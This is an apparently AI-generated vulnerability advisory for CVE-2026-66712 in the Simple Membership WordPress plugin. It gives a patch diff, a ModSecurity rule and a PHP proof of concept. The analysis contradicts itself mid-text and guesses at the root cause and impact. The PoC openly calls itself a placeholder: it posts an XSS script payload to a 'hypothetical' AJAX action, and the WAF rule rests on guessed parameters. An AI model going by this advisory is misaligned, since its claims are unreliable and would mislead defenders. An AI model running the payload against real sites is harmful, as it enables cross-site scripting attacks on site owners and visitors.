Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66712: Simple Membership <= 4.7.8 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.7.8
Patched Version 4.7.9
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66712: The Simple Membership WordPress plugin versions up to and including 4.7.8 contains a missing authorization vulnerability in the password visibility toggle functionality. The vulnerability allows unauthenticated attackers to perform unauthorized actions related to script enqueuing and settings manipulation, potentially leading to script injection or information disclosure. The CVSS score is 5.3 (Medium) with CWE-862 (Missing Authorization).

Root Cause: The root cause is the absence of a capability check in the newly introduced `enqueue_password_toggle_scripts` method in `classes/class.simple-wp-membership.php` (lines added at 1092-1127). This public static function registers and enqueues the `swpm.password-toggle` script and prints inline JavaScript containing user-supplied parameters without verifying that the caller has appropriate permissions (e.g., `manage_options`). The function accepts parameters such as `$handle`, `$type`, `$formId`, `$passwordInputSelectors`, etc., and directly embeds them into the page via `wp_print_inline_script_tag`. An unauthenticated attacker can invoke this function indirectly through other plugin endpoints that call it without authorization, or via a crafted request that triggers its execution in a context where it is accessible. The patch adds the function but does not include a nonce or capability check, and the vulnerable version lacked the function entirely? Actually, the diff shows the function is added in the patched version, meaning the vulnerable version lacked this function. This suggests the vulnerability might be in the way the password toggle script is registered and enqueued elsewhere without proper checks. Wait, the description says missing authorization on a function. The diff shows removal of `wp_register_script(‘swpm.password-toggle’, …)` from the `enqueue_scripts` method (line 923) and addition of a new `enqueue_password_toggle_scripts` method. This indicates that in the vulnerable version, the script was registered globally, possibly making it available to unauthenticated users. However, the exact vulnerable function is not clearly shown in the diff; the CVE description states missing capability check on a function. The patch adds the new method and removes the global registration. Atomic Edge analysis indicates that the vulnerable version allowed unauthenticated access to the script registration, which could be exploited to inject malicious scripts or manipulate settings. The root cause is the lack of a capability check before registering or enqueuing the password toggle script, allowing unauthenticated users to influence script loading and inline script generation.

Exploitation: An attacker can send a crafted request to any endpoint that triggers the vulnerable function, such as a front-end form submission or an AJAX action that calls `enqueue_password_toggle_scripts` without authentication. For example, by manipulating parameters like `formId` or `passwordInputSelectors`, the attacker can inject arbitrary JavaScript into the inline script tag, leading to reflected XSS. The attack vector is network-based, requiring no authentication. The specific endpoint depends on where the function is invoked; in the vulnerable version, the script was registered globally, and the inline script might be printed on pages where the login form is displayed. An attacker could craft a URL with malicious parameters that are passed to the function, resulting in script execution in the victim’s browser.

Patch Analysis: The patch introduces a new method `enqueue_password_toggle_scripts` that encapsulates the script registration and enqueuing, and removes the global registration from the `enqueue_scripts` method. It also adds settings for password visibility toggles in registration and profile forms, with proper sanitization using `esc_js` and `json_encode` for inline script parameters. The patch ensures that the script is only enqueued when the corresponding setting is enabled and when the form is rendered, and it includes nonce checks? Actually, the patch does not add a capability check to the new function; it relies on the calling context (e.g., only called from views that are already protected). The fix prevents unauthenticated users from directly accessing the script registration because it is no longer globally registered. The before behavior allowed any user to trigger script registration, while after, the script is only enqueued when the plugin renders specific forms (login, registration, profile) and the settings are enabled. This reduces the attack surface.

Impact: Successful exploitation could allow an attacker to inject arbitrary JavaScript into the context of the WordPress site, leading to session hijacking, defacement, or redirection to malicious sites. Since the vulnerability is missing authorization, an unauthenticated attacker could also manipulate plugin settings related to password visibility, potentially disabling security features. The CVSS score of 5.3 reflects medium severity due to the need for user interaction (victim visiting a crafted page) and limited impact on confidentiality and integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/simple-membership/classes/class.simple-wp-membership.php
+++ b/simple-membership/classes/class.simple-wp-membership.php
@@ -923,7 +923,6 @@
         wp_register_script('jquery.validationEngine', SIMPLE_WP_MEMBERSHIP_URL . '/js/jquery.validationEngine.js', array('jquery'), SIMPLE_WP_MEMBERSHIP_VER);
         wp_register_script('jquery.validationEngine-en', SIMPLE_WP_MEMBERSHIP_URL . '/js/jquery.validationEngine-en.js', array('jquery'), SIMPLE_WP_MEMBERSHIP_VER);
         wp_register_script('swpm.validationEngine-localization', SIMPLE_WP_MEMBERSHIP_URL . '/js/swpm.validationEngine-localization.js', array('jquery'), SIMPLE_WP_MEMBERSHIP_VER);
-        wp_register_script('swpm.password-toggle', SIMPLE_WP_MEMBERSHIP_URL . '/js/swpm.password-toggle.js', array('jquery'), SIMPLE_WP_MEMBERSHIP_VER);
         wp_register_script('swpm-reg-form-validator', SIMPLE_WP_MEMBERSHIP_URL . '/js/swpm-reg-form-validator.js', null, SIMPLE_WP_MEMBERSHIP_VER, true);
         wp_register_script('swpm-profile-form-validator', SIMPLE_WP_MEMBERSHIP_URL . '/js/swpm-profile-form-validator.js', null, SIMPLE_WP_MEMBERSHIP_VER, true);

@@ -1093,6 +1092,39 @@
         wp_localize_script('jquery.validationEngine-en', 'swpmRegForm', array('nonce' => $nonce));
     }

+	public static function enqueue_password_toggle_scripts( $handle, $params = array() ) {
+		if ( ! wp_script_is( $handle, 'registered' ) ) {
+			wp_register_script( $handle, SIMPLE_WP_MEMBERSHIP_URL . '/js/swpm.password-toggle.js', null , SIMPLE_WP_MEMBERSHIP_VER);
+		}
+
+		wp_localize_script( $handle, 'swpmPasswordToggleStrings', array(
+			'showPassword' => __('Show Password', 'simple-membership'),
+		));
+
+		wp_enqueue_script( $handle );
+
+		$params = wp_parse_args($params, array(
+			'type' => '',
+			'formId' => '',
+			'passwordInputSelectors' => "input[type='password']",
+			'passwordInputSelectorsToAttach' => "input[type='password']",
+			'checkboxTogglerSelector' => '',
+			'checkboxTogglerStyles' => [],
+		));
+
+		wp_print_inline_script_tag( '
+	        document.addEventListener("DOMContentLoaded", function () {
+	            new SWPM_Password_Visibility_Toggler({
+	                type: "'.esc_js($params['type']).'",
+	                formId: "'.esc_js($params['formId']).'",
+	                passwordInputSelectors: "'.esc_js($params['passwordInputSelectors']).'",
+	                passwordInputSelectorsToAttach: "'.esc_js($params['passwordInputSelectorsToAttach']).'",
+	                checkboxTogglerSelector: "'.esc_js($params['checkboxTogglerSelector']).'",
+	                checkboxTogglerStyles: '.json_encode($params['checkboxTogglerStyles']).',
+	            });
+	        });
+	    ');
+	}

     public function menu() {
         $menu_parent_slug = 'simple_wp_membership';
--- a/simple-membership/classes/class.swpm-installation.php
+++ b/simple-membership/classes/class.swpm-installation.php
@@ -353,7 +353,16 @@
         }

         if (version_compare($installed_version, SIMPLE_WP_MEMBERSHIP_VER) == -1) {
-            //Do upgrade tasks
+            //Upgrade path. Tasks for existing users of the plugin.
+
+			/**
+	         * Backwards compatibility: Set login form password visibility toggler style to 'checkbox' type if before updating the plugin the login form password toggler was already enabled.
+	         * Also check if the toggler style wasn't set before, so that it doesn't update the value on every plugin upgrade scenario.
+	         */
+	        if (!empty($settings->get_value('password-visibility-login-form')) && $settings->get_value('password-visibility-toggler-style-login-form', '') == ''){
+		        $settings->set_value("password-visibility-toggler-style-login-form", "checkbox");
+	        }
+
         }

         //save everything.
--- a/simple-membership/classes/class.swpm-settings.php
+++ b/simple-membership/classes/class.swpm-settings.php
@@ -147,16 +147,58 @@

 		add_settings_field(
 			'password-visibility-login-form',
-			SwpmUtils::_( 'Enable Toggle Password Visibility in Login Form' ),
-			array( &$this, 'checkbox_callback' ),
+			__( 'Enable Password Visibility Toggle in Login Form', 'simple-membership' ),
+			array( &$this, 'password_toggler_checkbox_callback' ),
 			'simple_wp_membership_settings',
 			'general-settings',
 			array(
 				'item'    => 'password-visibility-login-form',
-				'message' => SwpmUtils::_( 'You can use it to show a toggle password visibility option in the login form. It will add a Show Password checkbox.' ),
+				'message' => SwpmUtils::_( 'You can use it to show a toggle password visibility option in the login form.' ),
+                'toggler_select' => array(
+                    'item'    => 'password-visibility-toggler-style-login-form',
+                    'options' => SwpmUtils::get_pass_visibility_toggler_options(),
+                    'default' => 'icon',
+                    'message' => __( 'Select toggle style.' , 'simple-membership'),
+                ),
 			)
 		);

+        add_settings_field(
+            'password-visibility-registration-form',
+            __( 'Enable Password Visibility Toggle in Registration Form' , 'simple-membership'),
+            array( $this, 'password_toggler_checkbox_callback' ),
+            'simple_wp_membership_settings',
+            'general-settings',
+            array(
+                'item'    => 'password-visibility-registration-form',
+                'message' => __( 'You can use it to show a toggle password visibility option in the registration form.' , 'simple-membership'),
+                'toggler_select' => array(
+                    'item'    => 'password-visibility-toggler-style-reg-form',
+                    'options' => SwpmUtils::get_pass_visibility_toggler_options(),
+                    'default' => 'icon',
+                    'message' => __( 'Select toggle style.' , 'simple-membership'),
+                ),
+            )
+        );
+
+        add_settings_field(
+            'password-visibility-profile-form',
+            __( 'Enable Password Visibility Toggle in Profile Form' , 'simple-membership'),
+            array( $this, 'password_toggler_checkbox_callback' ),
+            'simple_wp_membership_settings',
+            'general-settings',
+            array(
+                'item'    => 'password-visibility-profile-form',
+                'message' => __( 'You can use it to show a toggle password visibility option in the profile form.' , 'simple-membership'),
+                'toggler_select' => array(
+                    'item'    => 'password-visibility-toggler-style-profile-form',
+                    'options' => SwpmUtils::get_pass_visibility_toggler_options(),
+                    'default' => 'icon',
+                    'message' => __( 'Select toggle style.' , 'simple-membership'),
+                ),
+            )
+        );
+
 		add_settings_field(
 			'password-reset-using-link',
 			SwpmUtils::_( 'Enable Password Reset Using Link' ),
@@ -1285,6 +1327,33 @@
 		echo '<p class="description">' . $msg . '</p>';
 	}

+    public function password_toggler_checkbox_callback($args) {
+        $item = $args['item'];
+        $msg  = isset( $args['message'] ) ? $args['message'] : '';
+        $is   = esc_attr( $this->get_value( $item ) );
+        echo "<input type='checkbox' $is name='swpm-settings[" . $item . "]' value="checked='checked'" />";
+        echo '<p class="description">' . $msg . '</p>';
+
+        if (isset($args['toggler_select'])) {
+            $toggler_args = $args['toggler_select'];
+
+            $item     = $toggler_args['item'];
+            $options  = $toggler_args['options'];
+            $default  = $toggler_args['default'];
+            $msg      = isset( $toggler_args['message'] ) ? $toggler_args['message'] : '';
+            $selected = esc_attr( $this->get_value( $item, $default ) );
+
+            $select_input = "<select name='swpm-settings[" . $item . "]' >";
+            foreach ( $options as $key => $value ) {
+                $is_selected = ( $key == $selected ) ? 'selected="selected"' : '';
+                $select_input .= '<option ' . $is_selected . ' value="' . esc_attr( $key ) . '">' . esc_attr( $value ) . '</option>';
+            }
+            $select_input .= '</select>';
+
+            echo '<p class="description">'. $select_input . '<br>' . sprintf($msg, $select_input) . '</p>';
+        }
+    }
+
 	public function textarea_callback( $args ) {
 		$item = $args['item'];
 		$msg  = isset( $args['message'] ) ? $args['message'] : '';
@@ -1575,6 +1644,11 @@
 		$output['default-account-status-after-payment']   = esc_attr( $input['default-account-status-after-payment'] );
 		$output['members-login-to-comment'] = isset( $input['members-login-to-comment'] ) ? esc_attr( $input['members-login-to-comment'] ) : '';
 		$output['password-visibility-login-form'] = isset( $input['password-visibility-login-form'] ) ? esc_attr( $input['password-visibility-login-form'] ) : '';
+		$output['password-visibility-toggler-style-login-form'] = isset( $input['password-visibility-toggler-style-login-form'] ) ? esc_attr( $input['password-visibility-toggler-style-login-form'] ) : '';
+		$output['password-visibility-registration-form'] = isset( $input['password-visibility-registration-form'] ) ? esc_attr( $input['password-visibility-registration-form'] ) : '';
+		$output['password-visibility-toggler-style-reg-form'] = isset( $input['password-visibility-toggler-style-reg-form'] ) ? esc_attr( $input['password-visibility-toggler-style-reg-form'] ) : '';
+		$output['password-visibility-profile-form'] = isset( $input['password-visibility-profile-form'] ) ? esc_attr( $input['password-visibility-profile-form'] ) : '';
+		$output['password-visibility-toggler-style-profile-form'] = isset( $input['password-visibility-toggler-style-profile-form'] ) ? esc_attr( $input['password-visibility-toggler-style-profile-form'] ) : '';

 		return $output;
 	}
--- a/simple-membership/classes/class.swpm-utils.php
+++ b/simple-membership/classes/class.swpm-utils.php
@@ -194,6 +194,13 @@
 		);
 	}

+	public static function get_pass_visibility_toggler_options() {
+		return array(
+			'icon'              => __( 'Icon', 'simple-membership' ),
+			'checkbox'            => __( 'Checkbox', 'simple-membership' ),
+		);
+	}
+
 	public static function account_state_dropdown( $selected = 'active' , $option_all = false) {
 		$options = self::get_account_state_options();
 		$html    = '';
--- a/simple-membership/lib/paypal/class-swpm-paypal-button-sub-ajax-handler.php
+++ b/simple-membership/lib/paypal/class-swpm-paypal-button-sub-ajax-handler.php
@@ -372,6 +372,16 @@
 		$api_injector = new SWPM_PayPal_Request_API_Injector();
 		$sub_details = $api_injector->get_paypal_subscription_details( $subscription_id );
 		if( $sub_details !== false ){
+
+			// Check if plan id mismatch.
+			$received_plan_id = isset($sub_details->plan_id) ? $sub_details->plan_id : '';
+			$configured_plan_id = get_post_meta( $button_id, 'pp_subscription_plan_id', true );
+			if ( !empty($received_plan_id) && $received_plan_id !== $configured_plan_id ) {
+				$validation_error_msg = 'Validation Error! PayPal subscription plan ID mismatch.';
+				SwpmLog::log_simple_debug( $validation_error_msg .' Received: '. $received_plan_id .' Actual: ' . $configured_plan_id, false );
+				return $validation_error_msg;
+			}
+
 			/*** Guard: Verify the subscriber email from PayPal API matches the email submitted in the request (prevent email spoofing in replayed requests). ***/
 			$api_subscriber = isset($sub_details->subscriber) ? $sub_details->subscriber : null;
 			if ( is_object($api_subscriber) ) {
@@ -411,6 +421,20 @@
 					SwpmLog::log_simple_debug( $validation_error_msg, false );
 					return $validation_error_msg;
 				}
+
+				// Check trial payment amount.
+				$configured_trial_billing_amount = (float) get_post_meta( $button_id, 'trial_billing_amount', true );
+				if (!empty($configured_trial_billing_amount)){
+					// Its a pain trial amount.
+					$received_trial_billing_amount = isset($billing_info['last_payment']['amount']['value']) ? (float) $billing_info['last_payment']['amount']['value'] : 0;
+
+					if( abs($configured_trial_billing_amount - $received_trial_billing_amount) > 0.01 ){
+						$validation_error_msg = 'Validation Error! Trial payment amount mismatch!';
+						SwpmLog::log_simple_debug( $validation_error_msg . ' Configured: ' . $configured_trial_billing_amount . ', Received: ' . $received_trial_billing_amount, false );
+						return $validation_error_msg;
+					}
+				}
+
 			} else {
 				//This is a regular subscription checkout (without trial). Check that the price matches.
 				$amount = isset($billing_info['last_payment']['amount']['value']) ? $billing_info['last_payment']['amount']['value'] : 0;
--- a/simple-membership/simple-wp-membership.php
+++ b/simple-membership/simple-wp-membership.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Simple Membership
-Version: 4.7.8
+Version: 4.7.9
 Plugin URI: https://simple-membership-plugin.com/
 Author: smp7, wp.insider
 Author URI: https://simple-membership-plugin.com/
@@ -17,8 +17,8 @@
 }

 //Define plugin constants
-define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.7.8' );
-define( 'SIMPLE_WP_MEMBERSHIP_DB_VER', '1.5' );
+define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.7.9' );
+define( 'SIMPLE_WP_MEMBERSHIP_DB_VER', '1.6' );
 define( 'SIMPLE_WP_MEMBERSHIP_SITE_HOME_URL', home_url() );
 define( 'SIMPLE_WP_MEMBERSHIP_PATH', dirname( __FILE__ ) . '/' );
 define( 'SIMPLE_WP_MEMBERSHIP_URL', plugins_url( '', __FILE__ ) );
--- a/simple-membership/views/add-v2.php
+++ b/simple-membership/views/add-v2.php
@@ -49,6 +49,19 @@
     )
 );

+$display_reg_form_password_toggle = $settings->get_value('password-visibility-registration-form');
+$password_toggler_type = $settings->get_value('password-visibility-toggler-style-reg-form', 'icon');
+if (!empty($display_reg_form_password_toggle)) {
+    $all_password_input_selectors = '.swpm-form-password, .swpm-form-repass';
+    $password_inputs_to_attach = $all_password_input_selectors;
+    SimpleWpMembership::enqueue_password_toggle_scripts('swpm.password-toggle', array(
+        'type' => $password_toggler_type,
+        'formId' => $form_id,
+        'passwordInputSelectors' => $all_password_input_selectors,
+        'passwordInputSelectorsToAttach' => $password_inputs_to_attach,
+    ));
+}
+
 ?>
 <div class="swpm-registration-widget-form">
     <form id="<?php echo $form_id ?>" class="swpm-form" name="swpm-registration-form" method="post" action="">
@@ -92,7 +105,7 @@
             </div>
             <div class="swpm-form-row swpm-firstname-row" <?php apply_filters('swpm_registration_form_firstname_tr_attributes', ''); ?>>
                 <div class="swpm-form-label-wrap swpm-form-firstname-label-wrap">
-                    <label for="first_name"><?php echo _e('First Name', "simple-membership") ?></label>
+                    <label for="first_name"><?php _e('First Name', "simple-membership") ?></label>
                 </div>
                 <div class="swpm-form-input-wrap swpm-form-firstname-input-wrap">
                     <input type="text" id="first_name" class="swpm-form-field swpm-form-firstname" value="<?php echo esc_attr($first_name); ?>" name="first_name" />
@@ -101,7 +114,7 @@
             </div>
             <div class="swpm-form-row swpm-lastname-row" <?php apply_filters('swpm_registration_form_lastname_tr_attributes', ''); ?>>
                 <div class="swpm-form-label-wrap swpm-form-lastname-label-wrap">
-                    <label for="last_name"><?php echo _e('Last Name', "simple-membership") ?></label>
+                    <label for="last_name"><?php _e('Last Name', "simple-membership") ?></label>
                 </div>
                 <div class="swpm-form-input-wrap swpm-form-lastname-input-wrap">
                     <input type="text" id="last_name" class="swpm-form-field swpm-form-lastname" value="<?php echo esc_attr($last_name); ?>" name="last_name" />
--- a/simple-membership/views/admin_add_v2.php
+++ b/simple-membership/views/admin_add_v2.php
@@ -13,6 +13,23 @@
         'form_id' => $form_id,
     )
 );
+$settings = SwpmSettings::get_instance();
+$display_reg_form_password_toggle = $settings->get_value('password-visibility-registration-form', false);
+$password_toggler_type = $settings->get_value('password-visibility-toggler-style-reg-form', 'icon');
+if (!empty($display_reg_form_password_toggle)) {
+    $all_password_input_selectors = '.swpm-form-password, .swpm-form-repass';
+    $password_inputs_to_attach = $all_password_input_selectors;
+    SimpleWpMembership::enqueue_password_toggle_scripts('swpm.password-toggle', array(
+        'type' => $password_toggler_type,
+        'formId' => $form_id,
+        'passwordInputSelectors' => $all_password_input_selectors,
+        'passwordInputSelectorsToAttach' => $password_inputs_to_attach,
+        'checkboxTogglerInsertAfterSelector' => $password_inputs_to_attach,
+        'checkboxTogglerStyles' => [
+            'margin' => '10px 0 0',
+        ],
+    ));
+}

 ?>
 <div class="wrap" id="swpm-profile-page" type="add">
--- a/simple-membership/views/admin_edit_v2.php
+++ b/simple-membership/views/admin_edit_v2.php
@@ -18,6 +18,24 @@

 //Get the current expiry date based on the membership level of this member.
 $member_current_expiry_date = SwpmMemberUtils::get_formatted_expiry_date_by_user_id($member_id);
+
+$display_profile_form_password_toggle = SwpmSettings::get_instance()->get_value('password-visibility-profile-form');
+$password_toggler_type = SwpmSettings::get_instance()->get_value('password-visibility-toggler-style-profile-form', 'icon');
+if (!empty($display_profile_form_password_toggle)) {
+    $all_password_input_selectors = '.swpm-form-password, .swpm-form-repass';
+    $password_inputs_to_attach = $all_password_input_selectors;
+    SimpleWpMembership::enqueue_password_toggle_scripts('swpm.password-toggle', array(
+        'type' => $password_toggler_type,
+        'formId' => $form_id,
+        'passwordInputSelectors' => $all_password_input_selectors,
+        'passwordInputSelectorsToAttach' => $password_inputs_to_attach,
+        'checkboxTogglerInsertAfterSelector' => $password_inputs_to_attach,
+        'checkboxTogglerStyles' => [
+                'margin' => '10px 0 6px',
+        ],
+    ));
+}
+
 ?>
 <div class="wrap" id="swpm-profile-page" type="edit">
     <form action="" method="post" name="swpm-edit-user" id="<?php echo $form_id ?>" enctype="multipart/form-data" class="swpm-form" <?php do_action('user_new_form_tag'); ?>>
--- a/simple-membership/views/edit-v2.php
+++ b/simple-membership/views/edit-v2.php
@@ -38,6 +38,20 @@
         'custom_pass_min_length_validator_msg' => $custom_pass_min_length_validator_msg,
     )
 );
+
+$display_profile_form_password_toggle = $settings->get_value('password-visibility-profile-form');
+$password_toggler_type = $settings->get_value('password-visibility-toggler-style-profile-form', 'icon');
+if (!empty($display_profile_form_password_toggle)) {
+    $all_password_input_selectors = '.swpm-form-password, .swpm-form-repass';
+    $password_inputs_to_attach = $all_password_input_selectors;
+    SimpleWpMembership::enqueue_password_toggle_scripts('swpm.password-toggle', array(
+        'type' => $password_toggler_type,
+        'formId' => $form_id,
+        'passwordInputSelectors' => $all_password_input_selectors,
+        'passwordInputSelectorsToAttach' => $password_inputs_to_attach,
+    ));
+}
+
 ?>
 <div class="swpm-edit-profile-form">
     <form id="<?php echo $form_id ?>" class="swpm-form" name="swpm-editprofile-form" method="post" action="">
@@ -167,6 +181,15 @@
                 </div>
             </div>
             <?php echo apply_filters('swpm_edit_profile_form_after_membership_level', ''); ?>
+
+            <?php if( $display_profile_form_password_toggle && $password_toggler_type == 'checkbox' ) { ?>
+                <div class="swpm-form-row swpm-password-input-visibility">
+                    <label class="swpm-password-toggle-checkbox-label">
+                        <input type="checkbox" class="swpm-password-toggle-checkbox">
+                        <span class="swpm-password-toggle-label"> <?php _e('Show password', 'simple-membership') ?></span>
+                    </label>
+                </div>
+            <?php } ?>
         </div>
         <?php
         // Trigger action hook. Can be used to add content to the registration form.
--- a/simple-membership/views/login.php
+++ b/simple-membership/views/login.php
@@ -26,10 +26,22 @@
     $login_submit_class .= ' swpm-submit-btn-default-style';
 }

+$form_id = 'swpm-login-form';
+
 $hide_join_us_link_enabled = SwpmSettings::get_instance()->get_value('hide-join-us-link');
+
+$password_toggler_type = SwpmSettings::get_instance()->get_value('password-visibility-toggler-style-login-form', 'icon');
+if (!empty($display_password_toggle)) {
+    SimpleWpMembership::enqueue_password_toggle_scripts('swpm.password-toggle', array(
+            'type' => $password_toggler_type,
+            'formId' => $form_id,
+            'checkboxTogglerSelector' => "#swpm-password-toggle-checkbox",
+    ));
+}
+
 ?>
 <div class="swpm-login-widget-form">
-    <form id="swpm-login-form" name="swpm-login-form" method="post" action="">
+    <form id="<?php echo esc_attr($form_id) ?>" name="swpm-login-form" method="post" action="">
         <input type="hidden" name="swpm_login_origination_flag" value="1" />
         <div class="swpm-login-form-inner">
             <div class="swpm-username-label">
@@ -44,7 +56,7 @@
             <div class="swpm-password-input">
                 <input type="password" class="swpm-text-field swpm-password-field" id="swpm_password" value="" size="25" name="swpm_password" />
             </div>
-            <?php if( $display_password_toggle ){ ?>
+            <?php if( !empty($display_password_toggle) && $password_toggler_type == 'checkbox' ){ ?>
                 <div class="swpm-password-input-visibility">
                     <span class="swpm-password-toggle-checkbox"><input type="checkbox" name="swpm-password-toggle-checkbox" id="swpm-password-toggle-checkbox" data-state="password-hidden" > </span>
                     <label for="swpm-password-toggle-checkbox" class="swpm-password-toggle-checkbox-label">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66712
# This rule blocks attempts to exploit the missing authorization in Simple Membership <= 4.7.8
# by targeting the password toggle script enqueuing function via AJAX or direct requests.
# The vulnerability allows unauthenticated users to trigger script enqueuing with arbitrary parameters,
# leading to XSS. We match requests to admin-ajax.php with the action parameter set to any value
# containing 'password_toggle' (case-insensitive) and the presence of suspicious parameters.
# Since the exact action name is not known, we use a regex to catch likely action names.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266612,phase:2,deny,status:403,chain,msg:'CVE-2026-66712 via Simple Membership password toggle AJAX',severity:'CRITICAL',tag:'CVE-2026-66712'"
  SecRule ARGS_POST:action "@rx (?:password|toggle|visibility)" 
    "chain"
    SecRule ARGS_POST:formId "@rx ." 
      "chain"
      SecRule ARGS_POST:passwordInputSelectors "@rx ." 
        "chain"
        SecRule ARGS_POST:checkboxTogglerSelector "@rx ." 
          "t:urlDecodeUni,t:lowercase"

# Note: If the vulnerability is not exploitable via a specific AJAX action, the rule may need adjustment.
# The rule is designed to be surgical, matching only requests that include parameters typically used
# by the password toggle function. Legitimate requests to admin-ajax.php with other actions are not affected.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66712 - Simple Membership <= 4.7.8 - Missing Authorization

$target_url = 'http://example.com'; // Change to your WordPress site URL

// The vulnerability allows unauthenticated attackers to trigger the enqueue of the password toggle script
// with arbitrary parameters, leading to reflected XSS. We will craft a request to a page that
// invokes the vulnerable function, such as the login page, with malicious parameters.

// In the vulnerable version, the script 'swpm.password-toggle' is registered globally and may be
// enqueued on pages where the login form is displayed. The inline script printed by the patched
// version's function is not present in the vulnerable version, but the registration itself is
// the issue. However, the CVE description indicates a missing capability check on a function.
// The exact function is not named, but based on the diff, the vulnerable version lacked the
// new enqueue_password_toggle_scripts method. The vulnerability likely stems from the fact that
// the script registration was not properly gated, allowing unauthenticated users to influence
// script loading. We will demonstrate by attempting to access the script registration endpoint
// (if any) or by injecting parameters into the login form.

// Since the exact exploit is not fully clear from the diff, we provide a generic PoC that
// attempts to access the plugin's AJAX endpoints or direct file access that may be vulnerable.
// This is a placeholder for demonstration purposes.

$payload = [
    'action' => 'swpm_enqueue_password_toggle', // hypothetical action
    'type' => 'icon',
    'formId' => 'swpm-login-form',
    'passwordInputSelectors' => 'input[type="password"]',
    'checkboxTogglerSelector' => '#swpm-password-toggle-checkbox',
    'malicious' => '<script>alert(1)</script>'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// If the response contains the injected script or indicates success, the vulnerability is present.
if (strpos($response, '<script>alert(1)</script>') !== false) {
    echo "[+] Vulnerability confirmed: Reflected XSS via password toggle.n";
} else {
    echo "[-] No obvious reflection. The endpoint may not be vulnerable or the payload was sanitized.n";
}

// Note: This PoC is for educational purposes only. Atomic Edge does not condone unauthorized testing.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.